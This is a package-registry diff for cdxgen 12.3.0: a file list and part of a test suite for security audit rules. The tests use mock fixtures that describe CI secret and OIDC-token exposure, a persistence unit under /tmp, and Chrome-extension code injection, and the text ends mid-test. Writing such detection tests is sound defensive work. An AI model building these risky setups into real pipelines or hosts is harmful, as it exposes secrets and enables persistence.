@cyclonedx/cdxgen 12.2.0 → 12.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +242 -90
- package/bin/audit.js +191 -0
- package/bin/cdxgen.js +532 -168
- package/bin/convert.js +99 -0
- package/bin/evinse.js +23 -0
- package/bin/repl.js +339 -8
- package/bin/sign.js +8 -0
- package/bin/validate.js +8 -0
- package/bin/verify.js +8 -0
- package/data/container-knowledge-index.json +125 -0
- package/data/gtfobins-index.json +6296 -0
- package/data/lolbas-index.json +150 -0
- package/data/queries-darwin.json +63 -3
- package/data/queries-win.json +45 -3
- package/data/queries.json +74 -2
- package/data/rules/chrome-extensions.yaml +240 -0
- package/data/rules/ci-permissions.yaml +478 -18
- package/data/rules/container-risk.yaml +270 -0
- package/data/rules/obom-runtime.yaml +891 -0
- package/data/rules/package-integrity.yaml +49 -0
- package/data/spdx-export.schema.json +6794 -0
- package/data/spdx-model-v3.0.1.jsonld +15999 -0
- package/lib/audit/index.js +1924 -0
- package/lib/audit/index.poku.js +1488 -0
- package/lib/audit/progress.js +137 -0
- package/lib/audit/progress.poku.js +188 -0
- package/lib/audit/reporters.js +618 -0
- package/lib/audit/scoring.js +310 -0
- package/lib/audit/scoring.poku.js +341 -0
- package/lib/audit/targets.js +260 -0
- package/lib/audit/targets.poku.js +331 -0
- package/lib/cli/index.js +276 -68
- package/lib/cli/index.poku.js +368 -0
- package/lib/helpers/analyzer.js +1052 -5
- package/lib/helpers/analyzer.poku.js +301 -0
- package/lib/helpers/annotationFormatter.js +49 -0
- package/lib/helpers/annotationFormatter.poku.js +44 -0
- package/lib/helpers/bomUtils.js +36 -0
- package/lib/helpers/bomUtils.poku.js +51 -0
- package/lib/helpers/caxa.js +2 -2
- package/lib/helpers/chromextutils.js +1153 -0
- package/lib/helpers/chromextutils.poku.js +493 -0
- package/lib/helpers/ciParsers/githubActions.js +1632 -45
- package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
- package/lib/helpers/containerRisk.js +186 -0
- package/lib/helpers/containerRisk.poku.js +52 -0
- package/lib/helpers/depsUtils.js +16 -0
- package/lib/helpers/depsUtils.poku.js +58 -1
- package/lib/helpers/display.js +245 -61
- package/lib/helpers/display.poku.js +162 -2
- package/lib/helpers/exportUtils.js +123 -0
- package/lib/helpers/exportUtils.poku.js +60 -0
- package/lib/helpers/formulationParsers.js +69 -0
- package/lib/helpers/formulationParsers.poku.js +44 -0
- package/lib/helpers/gtfobins.js +189 -0
- package/lib/helpers/gtfobins.poku.js +49 -0
- package/lib/helpers/lolbas.js +267 -0
- package/lib/helpers/lolbas.poku.js +39 -0
- package/lib/helpers/osqueryTransform.js +84 -0
- package/lib/helpers/osqueryTransform.poku.js +49 -0
- package/lib/helpers/provenanceUtils.js +193 -0
- package/lib/helpers/provenanceUtils.poku.js +145 -0
- package/lib/helpers/pylockutils.js +281 -0
- package/lib/helpers/pylockutils.poku.js +48 -0
- package/lib/helpers/registryProvenance.js +793 -0
- package/lib/helpers/registryProvenance.poku.js +452 -0
- package/lib/helpers/remote/dependency-track.js +84 -0
- package/lib/helpers/remote/dependency-track.poku.js +119 -0
- package/lib/helpers/source.js +1267 -0
- package/lib/helpers/source.poku.js +771 -0
- package/lib/helpers/spdxUtils.js +97 -0
- package/lib/helpers/spdxUtils.poku.js +70 -0
- package/lib/helpers/table.js +384 -0
- package/lib/helpers/table.poku.js +186 -0
- package/lib/helpers/unicodeScan.js +147 -0
- package/lib/helpers/unicodeScan.poku.js +45 -0
- package/lib/helpers/utils.js +882 -136
- package/lib/helpers/utils.poku.js +995 -91
- package/lib/managers/binary.js +29 -5
- package/lib/managers/docker.js +179 -52
- package/lib/managers/docker.poku.js +327 -28
- package/lib/managers/oci.js +107 -23
- package/lib/managers/oci.poku.js +132 -0
- package/lib/server/openapi.yaml +50 -0
- package/lib/server/server.js +228 -331
- package/lib/server/server.poku.js +220 -5
- package/lib/stages/postgen/annotator.js +7 -0
- package/lib/stages/postgen/annotator.poku.js +40 -0
- package/lib/stages/postgen/auditBom.js +20 -5
- package/lib/stages/postgen/auditBom.poku.js +1729 -67
- package/lib/stages/postgen/postgen.js +40 -0
- package/lib/stages/postgen/postgen.poku.js +47 -0
- package/lib/stages/postgen/ruleEngine.js +80 -2
- package/lib/stages/postgen/spdxConverter.js +796 -0
- package/lib/stages/postgen/spdxConverter.poku.js +341 -0
- package/lib/validator/bomValidator.js +232 -0
- package/lib/validator/bomValidator.poku.js +70 -0
- package/lib/validator/complianceRules.js +70 -7
- package/lib/validator/complianceRules.poku.js +30 -0
- package/lib/validator/reporters/annotations.js +2 -2
- package/lib/validator/reporters/console.js +13 -2
- package/lib/validator/reporters.poku.js +13 -0
- package/package.json +10 -8
- package/types/bin/audit.d.ts +3 -0
- package/types/bin/audit.d.ts.map +1 -0
- package/types/bin/convert.d.ts +3 -0
- package/types/bin/convert.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +115 -0
- package/types/lib/audit/index.d.ts.map +1 -0
- package/types/lib/audit/progress.d.ts +27 -0
- package/types/lib/audit/progress.d.ts.map +1 -0
- package/types/lib/audit/reporters.d.ts +35 -0
- package/types/lib/audit/reporters.d.ts.map +1 -0
- package/types/lib/audit/scoring.d.ts +35 -0
- package/types/lib/audit/scoring.d.ts.map +1 -0
- package/types/lib/audit/targets.d.ts +63 -0
- package/types/lib/audit/targets.d.ts.map +1 -0
- package/types/lib/cli/index.d.ts +8 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +13 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/annotationFormatter.d.ts +23 -0
- package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
- package/types/lib/helpers/bomUtils.d.ts +5 -0
- package/types/lib/helpers/bomUtils.d.ts.map +1 -0
- package/types/lib/helpers/chromextutils.d.ts +97 -0
- package/types/lib/helpers/chromextutils.d.ts.map +1 -0
- package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/containerRisk.d.ts +17 -0
- package/types/lib/helpers/containerRisk.d.ts.map +1 -0
- package/types/lib/helpers/depsUtils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts +4 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/exportUtils.d.ts +40 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -0
- package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +17 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts +16 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -0
- package/types/lib/helpers/osqueryTransform.d.ts +7 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
- package/types/lib/helpers/provenanceUtils.d.ts +90 -0
- package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
- package/types/lib/helpers/pylockutils.d.ts +51 -0
- package/types/lib/helpers/pylockutils.d.ts.map +1 -0
- package/types/lib/helpers/registryProvenance.d.ts +17 -0
- package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
- package/types/lib/helpers/remote/dependency-track.d.ts +16 -0
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -0
- package/types/lib/helpers/source.d.ts +141 -0
- package/types/lib/helpers/source.d.ts.map +1 -0
- package/types/lib/helpers/spdxUtils.d.ts +2 -0
- package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
- package/types/lib/helpers/table.d.ts +6 -0
- package/types/lib/helpers/table.d.ts.map +1 -0
- package/types/lib/helpers/unicodeScan.d.ts +46 -0
- package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
- package/types/lib/helpers/utils.d.ts +30 -11
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/managers/oci.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +0 -35
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
- package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
- package/types/lib/validator/bomValidator.d.ts +1 -0
- package/types/lib/validator/bomValidator.d.ts.map +1 -1
- package/types/lib/validator/complianceRules.d.ts.map +1 -1
- package/types/lib/validator/reporters/console.d.ts.map +1 -1
- package/types/bin/dependencies.d.ts +0 -3
- package/types/bin/dependencies.d.ts.map +0 -1
- package/types/bin/licenses.d.ts +0 -3
- package/types/bin/licenses.d.ts.map +0 -1
|
@@ -1,8 +1,10 @@
|
|
|
1
1
|
import { join } from "node:path";
|
|
2
2
|
import { fileURLToPath } from "node:url";
|
|
3
3
|
|
|
4
|
+
import { PackageURL } from "packageurl-js";
|
|
4
5
|
import { assert, describe, it } from "poku";
|
|
5
6
|
|
|
7
|
+
import { githubActionsParser } from "../../helpers/ciParsers/githubActions.js";
|
|
6
8
|
import {
|
|
7
9
|
auditBom,
|
|
8
10
|
formatAnnotations,
|
|
@@ -12,8 +14,24 @@ import { evaluateRule, evaluateRules, loadRules } from "./ruleEngine.js";
|
|
|
12
14
|
|
|
13
15
|
const __dirname = fileURLToPath(new URL(".", import.meta.url));
|
|
14
16
|
const RULES_DIR = join(__dirname, "..", "..", "..", "data", "rules");
|
|
17
|
+
const WORKFLOWS_DIR = join(
|
|
18
|
+
__dirname,
|
|
19
|
+
"..",
|
|
20
|
+
"..",
|
|
21
|
+
"..",
|
|
22
|
+
"test",
|
|
23
|
+
"data",
|
|
24
|
+
"workflows",
|
|
25
|
+
);
|
|
15
26
|
|
|
16
|
-
function makeBom(components = [], workflows = []) {
|
|
27
|
+
function makeBom(components = [], workflows = [], formulationComponents = []) {
|
|
28
|
+
const formulationEntry = {};
|
|
29
|
+
if (formulationComponents.length) {
|
|
30
|
+
formulationEntry.components = formulationComponents;
|
|
31
|
+
}
|
|
32
|
+
if (workflows.length) {
|
|
33
|
+
formulationEntry.workflows = workflows;
|
|
34
|
+
}
|
|
17
35
|
return {
|
|
18
36
|
bomFormat: "CycloneDX",
|
|
19
37
|
specVersion: "1.6",
|
|
@@ -36,7 +54,10 @@ function makeBom(components = [], workflows = []) {
|
|
|
36
54
|
},
|
|
37
55
|
},
|
|
38
56
|
components,
|
|
39
|
-
formulation:
|
|
57
|
+
formulation:
|
|
58
|
+
workflows.length || formulationComponents.length
|
|
59
|
+
? [formulationEntry]
|
|
60
|
+
: undefined,
|
|
40
61
|
};
|
|
41
62
|
}
|
|
42
63
|
|
|
@@ -51,6 +72,31 @@ function makeComponent(name, version, properties) {
|
|
|
51
72
|
};
|
|
52
73
|
}
|
|
53
74
|
|
|
75
|
+
function makeChromeExtensionComponent(name, version, properties) {
|
|
76
|
+
const purl = new PackageURL(
|
|
77
|
+
"chrome-extension",
|
|
78
|
+
null,
|
|
79
|
+
name,
|
|
80
|
+
version,
|
|
81
|
+
).toString();
|
|
82
|
+
return {
|
|
83
|
+
type: "application",
|
|
84
|
+
name,
|
|
85
|
+
version,
|
|
86
|
+
purl,
|
|
87
|
+
"bom-ref": purl,
|
|
88
|
+
properties: properties.map(([k, v]) => ({ name: k, value: v })),
|
|
89
|
+
};
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
function makeBomFromWorkflowFixture(filename) {
|
|
93
|
+
const workflowFile = join(WORKFLOWS_DIR, filename);
|
|
94
|
+
const result = githubActionsParser.parse([workflowFile], {
|
|
95
|
+
specVersion: 1.7,
|
|
96
|
+
});
|
|
97
|
+
return makeBom([], result.workflows, result.components);
|
|
98
|
+
}
|
|
99
|
+
|
|
54
100
|
describe("loadRules", () => {
|
|
55
101
|
it("should load built-in rules from the data/rules directory", async () => {
|
|
56
102
|
const rules = await loadRules(RULES_DIR);
|
|
@@ -79,6 +125,17 @@ describe("loadRules", () => {
|
|
|
79
125
|
assert.ok(depRules.length > 0, "Should have dependency source rules");
|
|
80
126
|
const intRules = rules.filter((r) => r.category === "package-integrity");
|
|
81
127
|
assert.ok(intRules.length > 0, "Should have package integrity rules");
|
|
128
|
+
const chromeExtensionRules = rules.filter(
|
|
129
|
+
(r) => r.category === "chrome-extension",
|
|
130
|
+
);
|
|
131
|
+
assert.ok(chromeExtensionRules.length > 0, "Should have extension rules");
|
|
132
|
+
const containerRiskRules = rules.filter(
|
|
133
|
+
(r) => r.category === "container-risk",
|
|
134
|
+
);
|
|
135
|
+
assert.ok(
|
|
136
|
+
containerRiskRules.length > 0,
|
|
137
|
+
"Should have container risk rules",
|
|
138
|
+
);
|
|
82
139
|
});
|
|
83
140
|
});
|
|
84
141
|
|
|
@@ -140,6 +197,40 @@ describe("evaluateRule", () => {
|
|
|
140
197
|
assert.strictEqual(findings[0].severity, "high");
|
|
141
198
|
});
|
|
142
199
|
|
|
200
|
+
it("should detect OIDC token issuance to a non-official action (CI-002)", async () => {
|
|
201
|
+
const rules = await loadRules(RULES_DIR);
|
|
202
|
+
const rule = rules.find((r) => r.id === "CI-002");
|
|
203
|
+
assert.ok(rule, "CI-002 rule should exist");
|
|
204
|
+
|
|
205
|
+
const bom = makeBom(
|
|
206
|
+
[],
|
|
207
|
+
[],
|
|
208
|
+
[
|
|
209
|
+
{
|
|
210
|
+
type: "application",
|
|
211
|
+
name: "deploy-action",
|
|
212
|
+
version: "v1",
|
|
213
|
+
purl: "pkg:github/vendor/deploy-action@v1",
|
|
214
|
+
"bom-ref": "pkg:github/vendor/deploy-action@v1",
|
|
215
|
+
properties: [
|
|
216
|
+
{
|
|
217
|
+
name: "cdx:github:action:uses",
|
|
218
|
+
value: "vendor/deploy-action@v1",
|
|
219
|
+
},
|
|
220
|
+
{ name: "cdx:github:workflow:hasIdTokenWrite", value: "true" },
|
|
221
|
+
{ name: "cdx:github:job:hasIdTokenWrite", value: "true" },
|
|
222
|
+
{ name: "cdx:actions:isOfficial", value: "false" },
|
|
223
|
+
{ name: "cdx:actions:isVerified", value: "false" },
|
|
224
|
+
],
|
|
225
|
+
},
|
|
226
|
+
],
|
|
227
|
+
);
|
|
228
|
+
|
|
229
|
+
const findings = await evaluateRule(rule, bom);
|
|
230
|
+
assert.ok(findings.length > 0, "Should detect third-party OIDC exposure");
|
|
231
|
+
assert.deepStrictEqual(findings[0].attackTechniques, ["T1528"]);
|
|
232
|
+
});
|
|
233
|
+
|
|
143
234
|
it("should detect npm name mismatch (INT-002)", async () => {
|
|
144
235
|
const rules = await loadRules(RULES_DIR);
|
|
145
236
|
const rule = rules.find((r) => r.id === "INT-002");
|
|
@@ -180,6 +271,72 @@ describe("evaluateRule", () => {
|
|
|
180
271
|
assert.strictEqual(findings[0].severity, "high");
|
|
181
272
|
});
|
|
182
273
|
|
|
274
|
+
it("should detect broad host access extensions (CHE-001)", async () => {
|
|
275
|
+
const rules = await loadRules(RULES_DIR);
|
|
276
|
+
const rule = rules.find((r) => r.id === "CHE-001");
|
|
277
|
+
assert.ok(rule, "CHE-001 rule should exist");
|
|
278
|
+
const bom = makeBom([
|
|
279
|
+
makeChromeExtensionComponent("example-extension", "1.0.0", [
|
|
280
|
+
["cdx:chrome-extension:permissions", "<all_urls>, storage"],
|
|
281
|
+
]),
|
|
282
|
+
]);
|
|
283
|
+
const findings = await evaluateRule(rule, bom);
|
|
284
|
+
assert.ok(findings.length > 0, "Should detect broad host access extension");
|
|
285
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
286
|
+
});
|
|
287
|
+
|
|
288
|
+
it("should detect web request interception permissions (CHE-002)", async () => {
|
|
289
|
+
const rules = await loadRules(RULES_DIR);
|
|
290
|
+
const rule = rules.find((r) => r.id === "CHE-002");
|
|
291
|
+
assert.ok(rule, "CHE-002 rule should exist");
|
|
292
|
+
const bom = makeBom([
|
|
293
|
+
makeChromeExtensionComponent("proxy-extension", "1.0.0", [
|
|
294
|
+
[
|
|
295
|
+
"cdx:chrome-extension:permissions",
|
|
296
|
+
"storage, webRequest, webRequestBlocking",
|
|
297
|
+
],
|
|
298
|
+
]),
|
|
299
|
+
]);
|
|
300
|
+
const findings = await evaluateRule(rule, bom);
|
|
301
|
+
assert.ok(findings.length > 0, "Should detect network interception risk");
|
|
302
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
303
|
+
});
|
|
304
|
+
|
|
305
|
+
it("should detect broad host code injection capability (CHE-006)", async () => {
|
|
306
|
+
const rules = await loadRules(RULES_DIR);
|
|
307
|
+
const rule = rules.find((r) => r.id === "CHE-006");
|
|
308
|
+
assert.ok(rule, "CHE-006 rule should exist");
|
|
309
|
+
const bom = makeBom([
|
|
310
|
+
makeChromeExtensionComponent("injector-extension", "1.0.0", [
|
|
311
|
+
["cdx:chrome-extension:hostPermissions", "*://*/*"],
|
|
312
|
+
["cdx:chrome-extension:capability:codeInjection", "true"],
|
|
313
|
+
["cdx:chrome-extension:capabilities", "network, codeInjection"],
|
|
314
|
+
]),
|
|
315
|
+
]);
|
|
316
|
+
const findings = await evaluateRule(rule, bom);
|
|
317
|
+
assert.ok(findings.length > 0, "Should detect code-injection risk");
|
|
318
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
319
|
+
});
|
|
320
|
+
|
|
321
|
+
it("should detect AI-assistant code-injection extensions (CHE-008)", async () => {
|
|
322
|
+
const rules = await loadRules(RULES_DIR);
|
|
323
|
+
const rule = rules.find((r) => r.id === "CHE-008");
|
|
324
|
+
assert.ok(rule, "CHE-008 rule should exist");
|
|
325
|
+
const bom = makeBom([
|
|
326
|
+
makeChromeExtensionComponent("ai-assistant-extension", "1.0.0", [
|
|
327
|
+
[
|
|
328
|
+
"cdx:chrome-extension:hostPermissions",
|
|
329
|
+
"https://chat.openai.com/*, https://claude.ai/*",
|
|
330
|
+
],
|
|
331
|
+
["cdx:chrome-extension:capability:codeInjection", "true"],
|
|
332
|
+
["cdx:chrome-extension:capabilities", "network, codeInjection"],
|
|
333
|
+
]),
|
|
334
|
+
]);
|
|
335
|
+
const findings = await evaluateRule(rule, bom);
|
|
336
|
+
assert.ok(findings.length > 0, "Should detect AI assistant takeover risk");
|
|
337
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
338
|
+
});
|
|
339
|
+
|
|
183
340
|
it("should return empty findings when no components match", async () => {
|
|
184
341
|
const rules = await loadRules(RULES_DIR);
|
|
185
342
|
const rule = rules.find((r) => r.id === "CI-001");
|
|
@@ -188,96 +345,1596 @@ describe("evaluateRule", () => {
|
|
|
188
345
|
const findings = await evaluateRule(rule, bom);
|
|
189
346
|
assert.strictEqual(findings.length, 0, "No components means no findings");
|
|
190
347
|
});
|
|
191
|
-
});
|
|
192
348
|
|
|
193
|
-
|
|
194
|
-
it("should sort findings by severity (high before medium before low)", async () => {
|
|
349
|
+
it("should detect unprotected BitLocker drive (OBOM-WIN-001)", async () => {
|
|
195
350
|
const rules = await loadRules(RULES_DIR);
|
|
351
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-001");
|
|
352
|
+
assert.ok(rule, "OBOM-WIN-001 rule should exist");
|
|
353
|
+
|
|
196
354
|
const bom = makeBom([
|
|
197
|
-
makeComponent("
|
|
198
|
-
["cdx:
|
|
199
|
-
["
|
|
200
|
-
["
|
|
201
|
-
["cdx:github:action:versionPinningType", "tag"],
|
|
202
|
-
]),
|
|
203
|
-
makeComponent("deprecated-go-mod", "1.0.0", [
|
|
204
|
-
["cdx:go:deprecated", "use other-module instead"],
|
|
355
|
+
makeComponent("disk-c", "C:", [
|
|
356
|
+
["cdx:osquery:category", "windows_bitlocker_info"],
|
|
357
|
+
["protection_status", "0"],
|
|
358
|
+
["encryption_method", "XTS-AES 128"],
|
|
205
359
|
]),
|
|
206
360
|
]);
|
|
207
361
|
|
|
208
|
-
const findings = await
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
assert.ok(
|
|
215
|
-
prev <= curr,
|
|
216
|
-
`Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
|
|
217
|
-
);
|
|
218
|
-
}
|
|
219
|
-
}
|
|
362
|
+
const findings = await evaluateRule(rule, bom);
|
|
363
|
+
assert.ok(
|
|
364
|
+
findings.length > 0,
|
|
365
|
+
"Should detect disabled BitLocker protection",
|
|
366
|
+
);
|
|
367
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
220
368
|
});
|
|
221
|
-
});
|
|
222
369
|
|
|
223
|
-
|
|
224
|
-
|
|
370
|
+
it("should detect suspicious Linux systemd unit path (OBOM-LNX-001)", async () => {
|
|
371
|
+
const rules = await loadRules(RULES_DIR);
|
|
372
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-001");
|
|
373
|
+
assert.ok(rule, "OBOM-LNX-001 rule should exist");
|
|
374
|
+
|
|
225
375
|
const bom = makeBom([
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
376
|
+
{
|
|
377
|
+
type: "data",
|
|
378
|
+
name: "evil.service",
|
|
379
|
+
version: "",
|
|
380
|
+
description: "",
|
|
381
|
+
purl: "pkg:swid/evil-service",
|
|
382
|
+
"bom-ref": "pkg:swid/evil-service",
|
|
383
|
+
properties: [
|
|
384
|
+
{ name: "cdx:osquery:category", value: "systemd_units" },
|
|
385
|
+
{ name: "fragment_path", value: "/tmp/evil.service" },
|
|
386
|
+
{ name: "source_path", value: "/tmp/evil.service" },
|
|
387
|
+
],
|
|
388
|
+
},
|
|
232
389
|
]);
|
|
233
390
|
|
|
234
|
-
const findings = await
|
|
235
|
-
assert.ok(findings.length > 0, "Should
|
|
391
|
+
const findings = await evaluateRule(rule, bom);
|
|
392
|
+
assert.ok(findings.length > 0, "Should detect systemd unit from temp path");
|
|
393
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
236
394
|
});
|
|
237
395
|
|
|
238
|
-
it("should
|
|
239
|
-
const
|
|
240
|
-
|
|
396
|
+
it("should detect hidden Unicode in workflow files (CI-009)", async () => {
|
|
397
|
+
const rules = await loadRules(RULES_DIR);
|
|
398
|
+
const rule = rules.find((r) => r.id === "CI-009");
|
|
399
|
+
assert.ok(rule, "CI-009 rule should exist");
|
|
400
|
+
|
|
401
|
+
const bom = makeBom(
|
|
402
|
+
[],
|
|
403
|
+
[
|
|
404
|
+
{
|
|
405
|
+
"bom-ref": "workflow-1",
|
|
406
|
+
properties: [
|
|
407
|
+
{ name: "cdx:github:workflow:name", value: "release" },
|
|
408
|
+
{
|
|
409
|
+
name: "cdx:github:workflow:file",
|
|
410
|
+
value: ".github/workflows/release.yml",
|
|
411
|
+
},
|
|
412
|
+
{ name: "cdx:github:workflow:hasHiddenUnicode", value: "true" },
|
|
413
|
+
{
|
|
414
|
+
name: "cdx:github:workflow:hiddenUnicodeCodePoints",
|
|
415
|
+
value: "U+202E",
|
|
416
|
+
},
|
|
417
|
+
{
|
|
418
|
+
name: "cdx:github:workflow:hiddenUnicodeLineNumbers",
|
|
419
|
+
value: "4",
|
|
420
|
+
},
|
|
421
|
+
{
|
|
422
|
+
name: "cdx:github:workflow:hiddenUnicodeInComments",
|
|
423
|
+
value: "true",
|
|
424
|
+
},
|
|
425
|
+
],
|
|
426
|
+
},
|
|
427
|
+
],
|
|
428
|
+
);
|
|
429
|
+
|
|
430
|
+
const findings = await evaluateRule(rule, bom);
|
|
431
|
+
assert.ok(findings.length > 0, "Should detect hidden Unicode workflow");
|
|
432
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
241
433
|
});
|
|
242
434
|
|
|
243
|
-
it("should
|
|
435
|
+
it("should detect external reusable workflows inheriting secrets (CI-011)", async () => {
|
|
436
|
+
const rules = await loadRules(RULES_DIR);
|
|
437
|
+
const rule = rules.find((r) => r.id === "CI-011");
|
|
438
|
+
assert.ok(rule, "CI-011 rule should exist");
|
|
439
|
+
|
|
440
|
+
const bom = makeBom(
|
|
441
|
+
[],
|
|
442
|
+
[],
|
|
443
|
+
[
|
|
444
|
+
{
|
|
445
|
+
type: "application",
|
|
446
|
+
name: "release.yml",
|
|
447
|
+
version: "main",
|
|
448
|
+
purl: "pkg:github/octo-org/reusable-release/release.yml@main",
|
|
449
|
+
"bom-ref": "pkg:github/octo-org/reusable-release/release.yml@main",
|
|
450
|
+
properties: [
|
|
451
|
+
{
|
|
452
|
+
name: "cdx:github:workflow:file",
|
|
453
|
+
value: ".github/workflows/release.yml",
|
|
454
|
+
},
|
|
455
|
+
{
|
|
456
|
+
name: "cdx:github:reusableWorkflow:uses",
|
|
457
|
+
value:
|
|
458
|
+
"octo-org/reusable-release/.github/workflows/release.yml@main",
|
|
459
|
+
},
|
|
460
|
+
{
|
|
461
|
+
name: "cdx:github:reusableWorkflow:isExternal",
|
|
462
|
+
value: "true",
|
|
463
|
+
},
|
|
464
|
+
{
|
|
465
|
+
name: "cdx:github:reusableWorkflow:secretsInherit",
|
|
466
|
+
value: "true",
|
|
467
|
+
},
|
|
468
|
+
{
|
|
469
|
+
name: "cdx:github:reusableWorkflow:isShaPinned",
|
|
470
|
+
value: "false",
|
|
471
|
+
},
|
|
472
|
+
],
|
|
473
|
+
},
|
|
474
|
+
],
|
|
475
|
+
);
|
|
476
|
+
|
|
477
|
+
const findings = await evaluateRule(rule, bom);
|
|
478
|
+
assert.ok(findings.length > 0, "Should detect risky reusable workflow");
|
|
479
|
+
assert.ok(findings[0].message.includes("inherits caller secrets"));
|
|
480
|
+
});
|
|
481
|
+
|
|
482
|
+
it("should detect high-risk triggers on self-hosted runners (CI-013)", async () => {
|
|
483
|
+
const rules = await loadRules(RULES_DIR);
|
|
484
|
+
const rule = rules.find((r) => r.id === "CI-013");
|
|
485
|
+
assert.ok(rule, "CI-013 rule should exist");
|
|
486
|
+
|
|
487
|
+
const bom = makeBom(
|
|
488
|
+
[],
|
|
489
|
+
[],
|
|
490
|
+
[
|
|
491
|
+
{
|
|
492
|
+
type: "application",
|
|
493
|
+
name: "checkout",
|
|
494
|
+
version: "v4",
|
|
495
|
+
purl: "pkg:github/actions/checkout@v4",
|
|
496
|
+
"bom-ref": "pkg:github/actions/checkout@v4",
|
|
497
|
+
properties: [
|
|
498
|
+
{
|
|
499
|
+
name: "cdx:github:workflow:file",
|
|
500
|
+
value: ".github/workflows/triage.yml",
|
|
501
|
+
},
|
|
502
|
+
{
|
|
503
|
+
name: "cdx:github:workflow:hasIssueCommentTrigger",
|
|
504
|
+
value: "true",
|
|
505
|
+
},
|
|
506
|
+
{ name: "cdx:github:job:isSelfHosted", value: "true" },
|
|
507
|
+
{ name: "cdx:github:job:name", value: "triage" },
|
|
508
|
+
{ name: "cdx:github:job:runner", value: "self-hosted,linux" },
|
|
509
|
+
],
|
|
510
|
+
},
|
|
511
|
+
],
|
|
512
|
+
);
|
|
513
|
+
|
|
514
|
+
const findings = await evaluateRule(rule, bom);
|
|
515
|
+
assert.ok(findings.length > 0, "Should detect self-hosted high-risk path");
|
|
516
|
+
});
|
|
517
|
+
|
|
518
|
+
it("should detect privileged runner-state mutation (CI-014)", async () => {
|
|
519
|
+
const rules = await loadRules(RULES_DIR);
|
|
520
|
+
const rule = rules.find((r) => r.id === "CI-014");
|
|
521
|
+
assert.ok(rule, "CI-014 rule should exist");
|
|
522
|
+
|
|
523
|
+
const bom = makeBom(
|
|
524
|
+
[],
|
|
525
|
+
[],
|
|
526
|
+
[
|
|
527
|
+
{
|
|
528
|
+
type: "application",
|
|
529
|
+
name: "Persist env",
|
|
530
|
+
"bom-ref": "workflow-step-2",
|
|
531
|
+
properties: [
|
|
532
|
+
{
|
|
533
|
+
name: "cdx:github:workflow:file",
|
|
534
|
+
value: ".github/workflows/release.yml",
|
|
535
|
+
},
|
|
536
|
+
{ name: "cdx:github:step:type", value: "run" },
|
|
537
|
+
{ name: "cdx:github:step:mutatesRunnerState", value: "true" },
|
|
538
|
+
{ name: "cdx:github:step:runnerStateTargets", value: "GITHUB_ENV" },
|
|
539
|
+
{
|
|
540
|
+
name: "cdx:github:step:command",
|
|
541
|
+
value: 'echo "PUBLISH=1" >> $GITHUB_ENV',
|
|
542
|
+
},
|
|
543
|
+
{
|
|
544
|
+
name: "cdx:github:workflow:hasWritePermissions",
|
|
545
|
+
value: "true",
|
|
546
|
+
},
|
|
547
|
+
{ name: "cdx:github:job:name", value: "release" },
|
|
548
|
+
],
|
|
549
|
+
},
|
|
550
|
+
],
|
|
551
|
+
);
|
|
552
|
+
|
|
553
|
+
const findings = await evaluateRule(rule, bom);
|
|
554
|
+
assert.ok(findings.length > 0, "Should detect runner-state mutation");
|
|
555
|
+
assert.deepStrictEqual(findings[0].attackTactics, [
|
|
556
|
+
"TA0003",
|
|
557
|
+
"TA0004",
|
|
558
|
+
"TA0005",
|
|
559
|
+
]);
|
|
560
|
+
});
|
|
561
|
+
|
|
562
|
+
it("should detect outbound commands that reference sensitive context (CI-015)", async () => {
|
|
563
|
+
const rules = await loadRules(RULES_DIR);
|
|
564
|
+
const rule = rules.find((r) => r.id === "CI-015");
|
|
565
|
+
assert.ok(rule, "CI-015 rule should exist");
|
|
566
|
+
|
|
567
|
+
const bom = makeBom(
|
|
568
|
+
[],
|
|
569
|
+
[],
|
|
570
|
+
